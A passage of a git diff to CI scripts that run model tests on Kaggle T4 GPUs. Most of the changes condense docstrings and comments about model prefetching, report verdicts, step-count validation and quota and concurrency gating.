(managed.rs:445); calling that HEALTHY skipped the re-run step. `-h` gates it for the same reason: probe_managed_bin runs it FIRST and returns Stale "cli_unusable" without reaching the capability probe (managed.rs:465-478), so consulting cli_h_ok only in the repairable arm called a help-less CLI HEALTHY.if backend_ok and caps_ready and facts.get("cli_h_ok"):verdict = "HEALTHY"elif not caps_ready or not facts.get("cli_h_ok"):diff --git a/.github/scripts/kaggle_prefetch.py b/.github/scripts/kaggle_prefetch.pyindex 958a4554162..fbeeaad09e2 100644--- a/.github/scripts/kaggle_prefetch.py+++ b/.github/scripts/kaggle_prefetch.py@@ -3,52 +3,23 @@"""The model prefetch that both Kaggle kernels paste into a generated cell.-A Kaggle GPU session is 2xT4 and the kernel keeps both busy training, but-downloading a model is CPU and network work that holds a card idle for its-whole duration. This module is the body of a lane that does that downloading-EARLY, beside the training legs, so the leg that needs the model finds it-already on disk.+A Kaggle GPU session is 2xT4 and the kernel keeps both busy training, but downloading a model is CPU and network work that holds a card idle for its whole duration, so this module is the body of a lane that downloads EARLY, beside the training legs, so the leg that needs the model finds it on disk.-Why a module and not a copy in each builder: `kaggle_t4_ci` prefetches the leg-models into the Kaggle image's default cache, and `kaggle_studio_ci` prefetches-Studio's two models into Studio's own private ``HF_HOME``. Same retry policy,-same reporting, two different cache roots. One copy that takes the root as an-argument is the only version of that which stays in agreement with itself.+A module and not a copy in each builder because `kaggle_t4_ci` prefetches the leg models into the Kaggle image's default cache while `kaggle_studio_ci` prefetches Studio's two models into Studio's own private ``HF_HOME``: same retry policy, same reporting, two cache roots, and one copy taking the root as an argument is the only version that stays in agreement with itself.-Load it BY PATH (``importlib.util.spec_from_file_location``), never with a-plain ``import``. Both script directories already ship a ``build_kernel.py``-and a ``report.py``, the test suite puts both on ``sys.path``, and a plain-import therefore resolves to whichever reached ``sys.modules`` first -- which-is decided by test order rather than by intent. That collision has been paid-for here once already: one ``sys.path.insert`` added for a single test took-nine unrelated tests down with it.+Load it BY PATH (``importlib.util.spec_from_file_location``), never with a plain ``import``. Both script directories already ship a ``build_kernel.py`` and a ``report.py``, the test suite puts both on ``sys.path``, and a plain import therefore resolves to whichever reached ``sys.modules`` first, decided by test order rather than intent; that collision has already cost nine unrelated tests over one ``sys.path.insert`` added for a single test.-WHAT THIS IS NOT: it is not a correctness mechanism. Every caller must treat a-failed prefetch as a no-op, because the payload that wants the model downloads-it for itself exactly as it did before this existed. A prefetch that fails the-kernel would be a new way to go red for something that is not under test.+WHAT THIS IS NOT: a correctness mechanism. Every caller must treat a failed prefetch as a no-op, because the payload that wants the model downloads it for itself exactly as before. A prefetch that failed the kernel would be a new way to go red for something that is not under test."""from __future__ import annotations-# The sentinel the driver and the reporters grep for. One record per repo, on-# its own line, so `kernel.log` ALONE measures the download -- which is the-# number the whole schedule is built around and the one thing no artifact has-# ever separated from weight-load time.+# The sentinel the driver and the reporters grep for. One record per repo, on its own line, so `kernel.log` ALONE measures the download, the number the whole schedule is built around and the one thing no artifact has ever separated from weight-load time.PREFETCH_SENTINEL = "KAGGLE_CI_PREFETCH"def _normalise(repos):- """``["a", ("b", ["*.gguf"])]`` -> ``[("a", None), ("b", ["*.gguf"])]``.-- A bare string means the WHOLE repo, which is right for a small model whose- every file gets loaded and wrong for anything with variants. Run- 32667451396 fetched 69.1 GB of ``Qwen3.5-2B-GGUF`` -- every quant in the- repo -- so that Studio could load one UD-Q4_K_XL file, and 55.1 GB of a- checkpoint that was never opened at all. On a 4-core Kaggle box that is not- just wasted bandwidth: it is CPU stolen from the payloads the prefetch- exists to speed up, and it pushed the Studio install from 258s to 673.5s.- """+ """``["a", ("b", ["*.gguf"])]`` -> ``[("a", None), ("b", ["*.gguf"])]``. A bare string means the WHOLE repo, which is right for a small model whose every file gets loaded and wrong for anything with variants: run 32667451396 fetched 69.1 GB of ``Qwen3.5-2B-GGUF``, every quant in the repo, so that Studio could load one UD-Q4_K_XL file, plus 55.1 GB of a checkpoint never opened. On a 4-core Kaggle box that is CPU stolen from the payloads the prefetch exists to speed up, and it pushed the Studio install from 258s to 673.5s."""out = []for entry in repos:if isinstance(entry, str):@@ -66,23 +37,8 @@ def prefetch_cell(attempt_timeout: int = 900,total_timeout: int = 1800,) -> str:- """Source for a cell (or a driver thread) that warms ``repos``, in order.-- ``repos`` is ordered and the order is load bearing: the caller puts the- repo with the longest lead time first, because a prefetch only pays for- the work it finishes BEFORE the payload that wants it starts.-- ``hf_home`` of None means "do not touch HF_HOME", which is what the leg- prefetch needs -- the legs read the Kaggle image's default cache and the- entire point is to land in the cache they read. Setting it to a private- directory there would produce a perfectly healthy prefetch that no payload- can see, a full 12 GB of work thrown away, and a green run.- """- # repr(), NOT json.dumps(). This text is Python, and `json.dumps(None)` is- # `null`, which parses fine and dies with a NameError the first time the- # cell RUNS -- on a Kaggle session, minutes in, having already paid for the- # box. `test_the_generated_prefetch_cell_runs` exists because compiling the- # cell did not catch exactly that.+ """Source for a cell (or a driver thread) that warms ``repos``, in order. ``repos`` is ordered and the order is load bearing: the caller puts the repo with the longest lead time first, because a prefetch only pays for the work it finishes BEFORE the payload that wants it starts. ``hf_home`` of None means "do not touch HF_HOME", which is what the leg prefetch needs, since the legs read the Kaggle image's default cache and the entire point is to land in the cache they read; setting it to a private directory there would produce a perfectly healthy prefetch that no payload can see, 12 GB of work thrown away, and a green run."""+ # repr(), NOT json.dumps(): this text is Python, and `json.dumps(None)` is `null`, which parses fine and dies with a NameError the first time the cell RUNS, on a Kaggle session, minutes in, having already paid for the box. `test_the_generated_prefetch_cell_runs` exists because compiling the cell did not catch exactly that.return f'''import json, os, threading, timediff --git a/.github/scripts/kaggle_studio_ci/build_kernel.py b/.github/scripts/kaggle_studio_ci/build_kernel.pyindex f18765af03d..ff472a91037 100644--- a/.github/scripts/kaggle_studio_ci/build_kernel.py+++ b/.github/scripts/kaggle_studio_ci/build_kernel.py@@ -163,7 +163,6 @@ def _models_from(payload_args: str) -> list[str]:picked[flag] = value# Chat model first: it is the GGUF that llama.cpp has to serve, and it is# the larger of the two.- ## The variant glob is deliberately loose at both ends. Multi-part GGUFs are# named `...UD-Q4_K_XL-00001-of-00002.gguf`, so anchoring the suffix would# match the single-file case and silently miss every shard of the split@@ -434,7 +433,6 @@ print("{PAYLOAD_SENTINEL} complete rc=" + str(proc.returncode), flush=True)"""# Studio's two models, fetched on the half that is ALREADY hidden.- ## Both were previously pulled inside run_studio_gpu.py, which is the TEST# half, so the merged kernel hid Studio's clone, pip and Playwright browser# and then paid full price for its downloads with both cards idle. They go@@ -442,11 +440,9 @@ print("{PAYLOAD_SENTINEL} complete rc=" + str(proc.returncode), flush=True)# the t4 driver's lane: that one deliberately targets the image default so# the training legs can read it, and Studio's install is a user-shaped# install with a cache root of its own.- ## Last in the install phase, after the venv and the browser: those are what# the test half cannot start without, and a download that overruns the card# queue must not be what delays them.- ## hf_home=None means "inherit", NOT "use the default". The setup cell runs# first in this same notebook and has already put Studio's private root in# os.environ["HF_HOME"], so inheriting is how this lands there. Passing thediff --git a/.github/scripts/kaggle_studio_ci/report.py b/.github/scripts/kaggle_studio_ci/report.pyindex 916fb97b7c9..c713371578c 100644--- a/.github/scripts/kaggle_studio_ci/report.py+++ b/.github/scripts/kaggle_studio_ci/report.py@@ -3,22 +3,11 @@"""Turn the Unsloth payload's report into a job summary and an exit code.-Sibling of ``.github/scripts/kaggle_t4_ci/report.py``, which holds the same-line and is reused wholesale for everything that is not rendering: the-launcher's verdict vocabulary, the kernel-log flattening and the-"infra is not a failure" policy all come from there and are imported, not-copied. What is local is the rendering, because that file renders a training-trace -- a loss table, a canary, a reference band -- and this payload-produces a list of assertions about a server.--The line itself is unchanged and is worth restating: **red means the payload-ran on a GPU and disagreed with its assertions.** Kaggle being busy, out of-quota, or unreachable teaches nothing about the code and must never colour a-pull request.--Exit codes:- 0 passed, partially reported, or never ran- 1 the payload ran and failed an assertion+Sibling of ``.github/scripts/kaggle_t4_ci/report.py``, which holds the same line and is reused wholesale for everything that is not rendering: the launcher's verdict vocabulary, the kernel-log flattening and the "infra is not a failure" policy are all imported, not copied. What is local is the rendering, because that file renders a training trace (a loss table, a canary, a reference band) and this payload produces a list of assertions about a server.++The line itself is unchanged: red means the payload ran on a GPU and disagreed with its assertions. Kaggle being busy, out of quota or unreachable teaches nothing about the code and must never colour a pull request.++Exit codes: 0 passed, partially reported, or never ran; 1 the payload ran and failed an assertion."""from __future__ import annotations@@ -33,12 +22,7 @@ _SHARED = Path(__file__).resolve().parents[1] / "kaggle_t4_ci" / "report.py"def _load_shared():- """The notebook leg's reporter, imported by path rather than duplicated.-- Degrades instead of exploding: this file is owned elsewhere and is under- active change, and the only thing borrowed from it is a log-flattening- helper. Losing that costs a diagnostic section, not the verdict.- """+ """The notebook leg's reporter, imported by path rather than duplicated. Degrades instead of exploding: this file is owned elsewhere and under active change, and the only thing borrowed is a log-flattening helper, so losing it costs a diagnostic section, not the verdict."""try:spec = importlib.util.spec_from_file_location("kaggle_t4_ci_report", _SHARED)if spec is None or spec.loader is None:@@ -63,9 +47,7 @@ def _notice(level: str, title: str, message: str) -> None:print(f"::{level} title={title}::{flat}", flush = True)-# Order the assertions are presented in, and the one-line reminder of what-# each is actually worth. A reader who has never seen this job before should-# not have to open the payload to know whether a tick means anything.+# Order the assertions are presented in, and the one-line reminder of what each is actually worth: a reader who has never seen this job before should not have to open the payload to know whether a tick means anything.ASSERTION_BLURB = {"preflight": "a GPU is present and there is disk to use it","studio_ready": "Unsloth answered /api/health as healthy, hardware detection settled",@@ -141,28 +123,16 @@ def render(report: dict) -> list[str]:return lines-# The label this payload reports under. Duplicated in kaggle_t4_ci/report.py;-# see the note there for why it is not shared.+# The label this payload reports under. Duplicated in kaggle_t4_ci/report.py; see the note there for why it is not shared.STUDIO_LABEL = "studio-gpu"def own_verdict(kernel_verdict: str, kernel_reason: str, reports: list, expect: int):"""This reporter's verdict over ITS OWN payloads, not the kernel's.- The launcher writes one verdict for the whole kernel, and since- --with-studio that kernel holds two unrelated experiments. Reading the- kernel verdict here means a failing training leg prints "Studio GPU smoke: FAIL"- above a section listing zero failures, and a failing Studio payload prints- the same over four green legs. Both are the misleading-red twin of the- green tick that tested nothing, and both would send someone to read the- wrong payload.-- So the verdict is recomputed from the filtered reports. The kernel reason- is kept only when the two agree; otherwise it describes the other half.+ The launcher writes one verdict for the whole kernel, and since --with-studio that kernel holds two unrelated experiments. Reading the kernel verdict here means a failing training leg prints "Studio GPU smoke: FAIL" above a section listing zero failures, and a failing Studio payload prints the same over four green legs: both are the misleading-red twin of the green tick that tested nothing, and both send someone to read the wrong payload. So the verdict is recomputed from the filtered reports, keeping the kernel reason only when the two agree.- `infra` is deliberately not synthesised: with nothing of ours back, the- kernel-level reason (quota, concurrency cap, a push that was throttled) is- the only account of why, and it applies to every payload equally.+ `infra` is deliberately not synthesised: with nothing of ours back, the kernel-level reason (quota, concurrency cap, a throttled push) is the only account of why, and it applies to every payload equally."""if not reports:return (kernel_verdict if kernel_verdict == "infra" else "partial"), kernel_reason@@ -177,9 +147,7 @@ def own_verdict(kernel_verdict: str, kernel_reason: str, reports: list, expect:def main() -> int:ap = argparse.ArgumentParser()ap.add_argument("--evidence", required = True)- # One, always: the payload's two notebooks are halves of one experiment and- # produce exactly one `studio-gpu` report between them. See the count note- # in kaggle_t4_ci/build_kernel.py's --all-kernels tail.+ # One, always: the payload's two notebooks are halves of one experiment and produce exactly one `studio-gpu` report between them. See the count note in kaggle_t4_ci/build_kernel.py's --all-kernels tail.ap.add_argument("--expect", type = int, default = 1)args = ap.parse_args()@@ -199,12 +167,7 @@ def main() -> int:reason = result.get("reason", "")reports = result.get("reports", [])- # This payload can share a kernel with the T4 notebook legs (see- # kaggle_t4_ci/build_kernel.py --with-studio), and every payload in that- # kernel reports through the same prefix. The legs are a different shape --- # a per-step metric trace rather than assertions -- so rendering them here- # would produce Studio sections describing training runs. Each reporter- # owns its own labels.+ # This payload can share a kernel with the T4 notebook legs (see kaggle_t4_ci/build_kernel.py --with-studio), and every payload in that kernel reports through the same prefix. The legs are a different shape, a per-step metric trace rather than assertions, so rendering them here would produce Studio sections describing training runs. Each reporter owns its own labels.reports = [r for r in reports if r.get("label") == STUDIO_LABEL]verdict, reason = own_verdict(verdict, reason, reports, args.expect)diff --git a/.github/scripts/kaggle_t4_ci/build_kernel.py b/.github/scripts/kaggle_t4_ci/build_kernel.pyindex 9d55f0e8163..031446fd456 100644--- a/.github/scripts/kaggle_t4_ci/build_kernel.py+++ b/.github/scripts/kaggle_t4_ci/build_kernel.py@@ -1852,7 +1852,6 @@ def main() -> int:# The launcher needs one --notebook per kernel and the expected payload# count; both follow from the plan, so they are emitted here rather than# restated in the workflow.- ## Studio counts as ONE payload, not two, and that holds on both paths.# Its two notebooks are halves of one experiment: on a healthy run the# install half emits no report at all and the test half emits the only@@ -1860,7 +1859,6 @@ def main() -> int:# the driver then SKIPS the test half. Either way the kernel produces# exactly one `studio-gpu` report, so counting the install half would make# every healthy run look like it lost one.- ## Getting this wrong in the other direction is worse and is why it is# derived rather than typed: a merged kernel that quietly stopped running# Studio would still report the four legs and go green.diff --git a/.github/scripts/kaggle_t4_ci/check_steps.py b/.github/scripts/kaggle_t4_ci/check_steps.pyindex 1222cc92163..2cb65db8888 100644--- a/.github/scripts/kaggle_t4_ci/check_steps.py+++ b/.github/scripts/kaggle_t4_ci/check_steps.py@@ -3,41 +3,13 @@"""Is this run's step count one that can train anything? Answered before paying.-``max_steps`` is a free-text ``workflow_dispatch`` input, and both ways of-getting it wrong cost a Kaggle session and report the pull request RED for-something that is not a code defect:--* **Not an integer.** ``foo`` travels all the way into the payload's argv, where- argparse rejects it and the process exits 2 with no report written. The- generated cell turns that into a failing report on purpose (a crashed payload- must not read as missing evidence), so three legs come back as assertion- failures -- after the kernels were pushed, the model downloaded and the quota- spent.-* **Too small to apply an optimizer update.** Under fp16 the dynamic gradient- scaler starts at 65536, halves on each overflow and SKIPS the step it- overflowed on. The workflow passes no ``--init-loss-scale``, so the first- steps of every run are skipped ones, and a run shorter than that prefix- applies zero updates: ``optimisation_failures`` says so and the leg goes red- having measured nothing.--Both are stand-downs, the same answer this workflow gives an unresolvable ref: a-warning and a green job, because nothing was learned about the code under test.--THE FLOOR IS MEASURED, NOT DECLARED. It is the shortest prefix of the COMMITTED-reference trace that the payload's own ``optimisation_failures`` accepts, so it-follows the reference and that function rather than a number written here that-would go stale the moment either moved. The prefix is the right comparison-because the payload trains on a constant schedule with no warmup-(``lr_scheduler_type="constant"``, ``warmup_steps=0``) and logs every step, so-an n-step run IS the first n steps of the committed 10-step one.--On the committed trace that comes out at 5: steps 1-3 have grad_norm NaN (all-skipped, no update applied) and step 4's loss is above step 1's, so 4 fails the-"loss did not decrease" check too, which is why the file docstring's "about-five" is a measurement rather than a guess.--Exits 0 whatever it decides. The stand-down travels as the ``stand_down``-output, like gate.py's.+``max_steps`` is a free-text ``workflow_dispatch`` input, and both ways of getting it wrong cost a Kaggle session and report the pull request RED for something that is not a code defect. Not an integer: ``foo`` travels into the payload's argv, argparse rejects it and the process exits 2 with no report written, and the generated cell turns that into a failing report on purpose (a crashed payload must not read as missing evidence), so three legs come back as assertion failures after the kernels were pushed, the model downloaded and the quota spent. Too small to apply an optimizer update: under fp16 the dynamic gradient scaler starts at 65536, halves on each overflow and SKIPS the step it overflowed on, and the workflow passes no ``--init-loss-scale``, so the first steps of every run are skipped ones and a run shorter than that prefix applies zero updates, which ``optimisation_failures`` reports as red having measured nothing.++Both are stand-downs, the same answer this workflow gives an unresolvable ref: a warning and a green job, because nothing was learned about the code under test.++THE FLOOR IS MEASURED, NOT DECLARED. It is the shortest prefix of the COMMITTED reference trace that the payload's own ``optimisation_failures`` accepts, so it follows the reference and that function rather than a number written here that would go stale the moment either moved. The prefix is the right comparison because the payload trains on a constant schedule with no warmup (``lr_scheduler_type="constant"``, ``warmup_steps=0``) and logs every step, so an n-step run IS the first n steps of the committed 10-step one. On the committed trace that comes out at 5: steps 1-3 have grad_norm NaN (all skipped, no update applied) and step 4's loss is above step 1's, so 4 fails the "loss did not decrease" check too.++Exits 0 whatever it decides. The stand-down travels as the ``stand_down`` output, like gate.py's."""from __future__ import annotations@@ -68,12 +40,7 @@ def _out(key: str, value: str) -> None:def parse_steps(raw: str) -> int | None:- """The dispatched value as a positive integer, or None if it is not one.-- ``int()`` alone is not the test: it accepts ``+7`` and surrounding- whitespace, which are fine, and returns 0 or a negative for values the- trainer cannot run at all.- """+ """The dispatched value as a positive integer, or None if it is not one. ``int()`` alone is not the test: it accepts ``+7`` and surrounding whitespace, which are fine, and returns 0 or a negative for values the trainer cannot run at all."""try:steps = int(str(raw).strip())except (TypeError, ValueError):@@ -84,16 +51,9 @@ def parse_steps(raw: str) -> int | None:def reference_steps(payload_dir: Path, leg: str = "control") -> int | None:"""The step count the committed reference declares, read the payload's way.- The build step drops the band when this run's count is not the reference's,- and ``check_reference`` refuses the same pairing from the other side, so the- two have to mean the same thing by "the reference's count". This calls the- payload's own ``reference_step_count`` rather than reading the JSON a second- time, and finds the file through the leg registry rather than naming it.+ The build step drops the band when this run's count is not the reference's, and ``check_reference`` refuses the same pairing from the other side, so the two have to mean the same thing by "the reference's count". This calls the payload's own ``reference_step_count`` rather than reading the JSON a second time, and finds the file through the leg registry rather than naming it.- None when it cannot be established, which the build step already treats as- not comparable: the payload's answer for a reference that does not say is- ``reference_step_count_unknown``, a hard failure, so a band left on here- would be red for the reference rather than for the code.+ None when it cannot be established, which the build step already treats as not comparable: the payload's answer for a reference that does not say is ``reference_step_count_unknown``, a hard failure, so a band left on here would be red for the reference rather than for the code."""try:name = LEGS[leg].reference@@ -109,11 +69,7 @@ def reference_steps(payload_dir: Path, leg: str = "control") -> int | None:def reference_metrics(payload_dir: Path, leg: str = "control") -> list[dict]:- """The committed trace the floor is measured from.-- Read through the leg registry rather than by naming the file again: the leg- is what decides which reference this CI runs against.- """+ """The committed trace the floor is measured from, read through the leg registry rather than by naming the file again: the leg is what decides which reference this CI runs against."""name = LEGS[leg].referenceif not name:return []@@ -124,12 +80,7 @@ def reference_metrics(payload_dir: Path, leg: str = "control") -> list[dict]:def minimum_steps(metrics: list[dict], failures) -> int | None:- """Shortest prefix of ``metrics`` the payload's own verdict accepts.-- None when no prefix does, including the empty trace: an unmeasurable floor- is not a floor of zero, and answering "any step count will do" is how a- check that cannot fail gets written.- """+ """Shortest prefix of ``metrics`` the payload's own verdict accepts. None when no prefix does, including the empty trace: an unmeasurable floor is not a floor of zero, and answering "any step count will do" is how a check that cannot fail gets written."""for n in range(1, len(metrics) + 1):if not failures(metrics[:n]):return n@@ -202,13 +153,7 @@ def main() -> int:_out("stand_down", "true" if stand_down else "false")_out("reason", reason)- # The PARSED value, for everything downstream, so that the one place which normalises the dispatched string is the- # one place that validated it.- # parse_steps deliberately accepts "+10", "010" and surrounding whitespace as the ten they are, and the payload's- # argparse agrees, so the build step comparing the raw string against the reference's count used to read those as- # a different run and drop the reference band from it: a green run with the committed band never applied,- # announced as a step count that was not actually different. The reference's own count comes from here too, for- # the same reason -- one definition, the payload's.+ # The PARSED value, for everything downstream, so the one place that normalises the dispatched string is the one place that validated it. parse_steps deliberately accepts "+10", "010" and surrounding whitespace as the ten they are, and the payload's argparse agrees, so the build step comparing the raw string against the reference's count used to read those as a different run and drop the reference band: a green run with the committed band never applied, announced as a step count that was not actually different. The reference's own count comes from here too, for the same reason.steps = parse_steps(args.max_steps)if steps is not None:_out("steps", str(steps))diff --git a/.github/scripts/kaggle_t4_ci/collect.py b/.github/scripts/kaggle_t4_ci/collect.pyindex 8edbe9c2a1e..809f2e38e2f 100644--- a/.github/scripts/kaggle_t4_ci/collect.py+++ b/.github/scripts/kaggle_t4_ci/collect.py@@ -58,7 +58,6 @@ from gate import GONE_MARKERS, _as_naive_utc # noqa: E402# How long a dispatched kernel may stay in flight before the reaper takes it.# The ceiling is ours because Kaggle's has been caught failing: a kernel pushed# with `-t 5400` whose nbconvert crashed sat RUNNING two hours past it.-## Generous rather than tight: the wired notebook kernel measured 2101.8s, the# two-account run 41.5 min of job wall clock, and queueing behind another of# ours adds most of that again. Reaping a kernel that would have finished costsdiff --git a/.github/scripts/kaggle_t4_ci/gate.py b/.github/scripts/kaggle_t4_ci/gate.pyindex d1c11f6c1ef..6114f34db42 100644--- a/.github/scripts/kaggle_t4_ci/gate.py+++ b/.github/scripts/kaggle_t4_ci/gate.py@@ -3,63 +3,20 @@"""Decide whether this invocation is allowed to spend Kaggle GPU quota.-Each Kaggle account CI may spend has a WEEKLY accelerator budget shared with-every other use of that account, and a kernel on every push would drain a week-of it in a day. So the default answer is "no" and a job earns "yes" through five-checks, in this order:--0. **Was this event a request at all?** A run started by APPLYING a label is a- request only when that label is the opt-in one. The trigger fires on all- labels and the budget counts none of them, so every other ``labeled`` event- stands down first.-1. **Override.** ``workflow_dispatch`` with ``force=true``, or a pull request- carrying the opt-in label. A human asked; skip the dice.-2. **Sampling.** Roughly one invocation in ten, derived from the run id so a- re-run of the same run gives the same answer (otherwise anyone could reroll- until it fires) while different runs stay independent.-3. **Which account.** There is more than one, with different weekly- allowances, and traffic is split in proportion to them: an account with- twice the hours takes twice the runs. The weights are READ from each- account's own ``quota_view()`` rather than written down here, so a plan- changed on Kaggle's side changes the split without anyone editing this file.- The draw is keyed on the run id ALONE -- not the attempt -- so a re-run- picks the SAME account as the attempt whose kernels may still be in flight.- An account that cannot take the run (no quota, no free session, no readable- answer) hands over to the other rather than standing the run down; see- FALLBACK_ELIGIBLE.-4. **Remaining quota.** Refuses when what is left would not cover this- invocation's worst case plus a reserve, so CI never drains the account. This- is the ONE stand-down that is a failure rather than a skip; see below. The- reserve SCALES with the account: a flat 20h held back from a 30h account is- two thirds of it and one third of a 60h one, which would quietly make the- smaller account the stricter one. See ``scaled_reserve``.-5. **Concurrency.** Kaggle caps concurrent batch GPU kernels at 2, per ACCOUNT- rather than per workflow. The survey splits kernels this workflow pushed- from the rest because they call for opposite answers: a FOREIGN kernel means- a human is on the shared account and this invocation stands down entirely,- while our own two are what it is here to launch. Both occupy slots, so the- gate also refuses when fewer than KERNELS_PER_INVOCATION are free. The search- is bounded by how long a session may last rather than by a kernel count,- which is what makes it exhaustive; see LOOKBACK_HOURS.--Every negative answer is a SKIP, and a skip exits 0: not spending quota is-designed behaviour and must never colour a pull request red. The ONE exception-is an EXHAUSTED weekly quota, which exits nonzero carrying-QUOTA_EXHAUSTED_MESSAGE: that is not a dice roll going the usual way, it is the-whole account out of accelerator hours until the refresh, and a reader who sees-nothing at all cannot tell that from a workflow nobody wired up. It is decided-before the concurrency survey and before any kernel is pushed, so it costs one-API call rather than a Kaggle session. An UNREADABLE quota is still a skip:-"unknown" is not "exhausted". A real error in the gate itself is a skip too, and-``--no-soft-fail`` turns that back into a failure.--``--soft-fail`` is a REQUEST, not the default state. Passed explicitly it turns-the exhausted-quota failure back into a skip, for a caller that has already been-approved and is only re-asking (the workflow's recheck step, which runs with the-account slot in hand); passed nowhere, the failure stands.--No credential is ever printed: the token is read from the environment, handed to-the Kaggle client, and never echoed, logged or written to an output file.+Each Kaggle account CI may spend has a WEEKLY accelerator budget shared with every other use of that account, and a kernel on every push would drain a week of it in a day. So the default answer is "no" and a job earns "yes" through five checks, in order:++0. Was this event a request at all? The trigger fires on ALL labels and the budget counts none of them, so a ``labeled`` run stands down unless the label that started it is the opt-in one.+1. Override: ``workflow_dispatch`` with ``force=true``, or a pull request carrying the opt-in label.+2. Sampling: roughly one invocation in ten, derived from the run id so a re-run gives the same answer (otherwise anyone could reroll until it fires) while different runs stay independent.+3. Which account. There is more than one, with different weekly allowances, and traffic is split in proportion to them. The weights are READ from each account's own ``quota_view()`` rather than written down here, so a plan changed on Kaggle's side changes the split with nothing to edit. The draw is keyed on the run id ALONE, not the attempt, so a re-run picks the SAME account as the attempt whose kernels may still be in flight. An account that cannot take the run hands over to the other rather than standing the run down; see FALLBACK_ELIGIBLE.+4. Remaining quota: refuses when what is left would not cover this invocation's worst case plus a reserve. The reserve SCALES with the account, since a flat 20h held back from a 30h account is two thirds of it and one third of a 60h one; see ``scaled_reserve``.+5. Concurrency: Kaggle caps concurrent batch GPU kernels at 2, per ACCOUNT rather than per workflow. The survey splits kernels this workflow pushed from the rest because they call for opposite answers, and the search is bounded by how long a session may last rather than by a kernel count, which is what makes it exhaustive; see LOOKBACK_HOURS.++Every negative answer is a SKIP, and a skip exits 0: not spending quota is designed behaviour and must never colour a pull request red. The ONE exception is an EXHAUSTED weekly quota, which exits nonzero carrying QUOTA_EXHAUSTED_MESSAGE, because that is the whole account out of accelerator hours until the refresh and a reader who sees nothing at all cannot tell that from a workflow nobody wired up. It is decided before the concurrency survey and before any kernel is pushed, so it costs one API call rather than a Kaggle session. An UNREADABLE quota is still a skip: "unknown" is not "exhausted". A real error in the gate itself is a skip too, and ``--no-soft-fail`` turns that back into a failure.++``--soft-fail`` is a REQUEST, not the default state: passed explicitly it turns the exhausted-quota failure back into a skip, for a caller already approved and only re-asking; passed nowhere, the failure stands.++No credential is ever printed."""from __future__ import annotations@@ -73,152 +30,53 @@ import sysimport timefrom datetime import datetime, timedelta, timezone-# Ceiling on any single network call, set globally before the first one. The-# Kaggle client takes no timeout of its own and Python's default is to block-# FOREVER, so without this a stalled connection returns to nobody: the `try`-# around each call never sees an exception, --soft-fail has nothing to convert-# into a skip, and the job's own timeout-minutes kills the runner and reports a-# red infrastructure failure on a workflow whose contract is that only a failed-# assertion on a T4 is red. launch.py sets one for the same reason.+# Ceiling on any single network call, set globally before the first one. The Kaggle client takes no timeout of its own and Python's default is to block FOREVER, so without this a stalled connection returns to nobody: the `try` around each call never sees an exception, --soft-fail has nothing to convert into a skip, and the job's own timeout-minutes kills the runner and reports red on a workflow whose contract is that only a failed assertion on a T4 is red.SOCKET_TIMEOUT_SEC = 60-# Wall clock the in-flight survey may spend, whatever the account holds. The-# survey status-checks every kernel in a 13h window and pages up to-# MAX_KERNEL_PAGES x KERNELS_PAGE_SIZE of them, so slow (not hung: those are-# capped above) responses multiply. Running out of budget is NOT read as an idle-# account: the walk stops with complete=False, which concurrency_verdict already-# turns into a skip, so the gate answers within the job deadline rather than-# being killed by it.+# Wall clock the in-flight survey may spend, whatever the account holds. The survey status-checks every kernel in a 13h window and pages up to MAX_KERNEL_PAGES x KERNELS_PAGE_SIZE of them, so slow responses multiply. Running out of budget is NOT read as an idle account: the walk stops with complete=False, which concurrency_verdict turns into a skip.SURVEY_BUDGET_SEC = 180-# Kaggle's cap on simultaneous batch (committed) GPU kernels per account.-# Measured, not documented: exceeding it fails the push with-# "Maximum batch GPU session count of 2 reached."+# Kaggle's cap on simultaneous batch (committed) GPU kernels per account. Measured, not documented: exceeding it fails the push with "Maximum batch GPU session count of 2 reached."MAX_CONCURRENT_GPU_KERNELS = 2-# How many FOREIGN kernels may be in flight and this job still launch. ZERO IS-# DELIBERATE: a policy choice rather than a technical limit, so it is named-# rather than implied.-#-# The cap is per ACCOUNT and the account is shared with human use. Someone whose-# push is rejected cannot tell that CI took the slot, and CI cannot give it-# back. Standing down costs a few minutes until the next commit draws again (the-# sampling gate leaves this job no deadline of its own); being wrong costs-# somebody else's session. So a single foreign kernel stands this job down,-# whatever the arithmetic below would allow.+# How many FOREIGN kernels may be in flight and this job still launch. ZERO IS DELIBERATE, a policy choice rather than a technical limit: the cap is per ACCOUNT and the account is shared with human use, so someone whose push is rejected cannot tell that CI took the slot and CI cannot give it back. Standing down costs a few minutes until the next commit draws again; being wrong costs somebody else's session.ALLOWED_IN_FLIGHT_FOREIGN_KERNELS = 0-# How many of Kaggle's slots one invocation takes. ONE, and it is the default-# rather than a per-workflow override because it is now true of both callers.-#-# This was 2 while the notebook leg ran four legs as two kernels of two, one leg-# per T4. That shape took BOTH of the account's slots, which had two costs. The-# account is shared with human use, so a run held every seat there was. And-# kaggle-t4-studio-gpu-ci.yml is on the same account: with no slot left it could-# not push at all, and the shared concurrency group meant it did not even try-# until the notebook job had finished (measured: Unsloth's run 32607617804 queued-# about 40 minutes behind notebook run 32607621452).-#-# The legs did not have to be split to fit. They now queue INSIDE one kernel ---# one worker per card, a card taking its next leg when the previous one exits ---# so four legs fit in one session. That is strictly better for the thing the old-# comment here worried about: it said legs "split across two sessions would be-# compared across two images and two hours, and for control/canary that-# comparison is the entire instrument", and one kernel makes such a split-# impossible rather than merely avoided by careful pairing.-#-# The residual risk, a foreign kernel starting BETWEEN the survey and the push,-# is not new and is handled where it lands: the launcher recognises Kaggle's-# capacity rejection (CAPACITY_MARKERS) and reports it as infra, exiting 0.-# Ours is the push that arrives second, so a human's is never the one rejected.+# How many of Kaggle's slots one invocation takes. ONE, and the default rather than a per-workflow override because it is now true of both callers. This was 2 while the notebook leg ran four legs as two kernels of two, which took BOTH of the account's slots: the account is shared with human use, and kaggle-t4-studio-gpu-ci.yml runs on the same account, so with no slot left it could not push at all and the shared concurrency group meant it did not even try until the notebook job finished (run 32607617804 queued about 40 minutes behind notebook run 32607621452). The legs did not have to be split to fit: they now queue INSIDE one kernel, one worker per card, so four legs fit in one session, which also makes a control/canary split across two images and two hours impossible rather than merely avoided. The residual risk, a foreign kernel starting BETWEEN the survey and the push, is handled where it lands: the launcher recognises Kaggle's capacity rejection (CAPACITY_MARKERS) and reports it as infra, exiting 0.KERNELS_PER_INVOCATION = 1# Kernel states that mean a session is occupying one of those slots.BUSY_STATES = {"QUEUED", "RUNNING"}-# How this job recognises its own kernels: `launch.py` pushes every kernel as-# `<user>/<OWN_KERNEL_PREFIX><8 hex>`, a fresh slug per attempt, and nothing else-# on the account uses that prefix. "The account is busy" and "this workflow is-# 